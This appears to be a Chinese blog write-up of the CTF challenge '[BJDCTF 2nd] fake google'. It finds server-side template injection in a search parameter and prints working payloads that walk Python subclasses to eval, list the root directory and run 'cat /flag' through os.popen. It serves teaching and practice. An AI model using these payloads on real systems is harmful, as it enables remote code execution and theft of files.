• [BJDCTF 2nd]fake google


    00x1分析题目

    打开页面,首先是一个goole搜索框,输入内容后Enter,页面显示P3's girlfirend is : xxxx

    在看URL框,发现这里其实是通过get方式传递了一个get形式的参数,传入的值就会输出在页面上。觉得可能是SSTI模板注入,因为这里会把输入的内容输出在页面上,那么表达式也有可能会被输出。查看源码,确定这里是SSTI模板注入。

    00x2SSTI模板注入
    表达式测试

    输入{{1+1}}测试,看表达式是否会被计算,尴尬的是页面直接500了,这里估计是ban了+号,因为当你单输入一个+号时页面不会有任何的显示。

    输入{{1*2}}测试,页面输出 2,可以了开始注入。

    查询需要借助的类

    查询可以引用的类的列表,获取到一个列表,使用python脚本查询需要的利用的类warnings.catch_warnings的位置

    {{[].__class__.__base__.__subclasses__()[169]}}

    页面显示:P3's girlfirend is : <class 'warnings.catch_warnings'>

    查询根目录下的内容
    {{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__']['eval']("__import__('os').listdir('/')")}}

    页面显示

    P3's girlfirend is : ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'flag', '.dockerenv', 'app', 'bd_build']

    读取flag文件

    {{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
  • 相关阅读:
    vim编辑中断后,重新编辑的警告删除
    更新centos7的kernel
    centos7 设置连接无线wifi
    U盘安装centos7
    centos7清理矿机木马qw3xT,kpgrbcc
    centos7 防火墙屏蔽IP
    ftp用户和密码
    聚类结果的评估指标及其JAVA实现
    java.io.Serializable浅析
    JAVA中求解对象所占字节大小
  • 原文地址:https://www.cnblogs.com/ersuani/p/14044123.html
Copyright © 2020-2023  润新知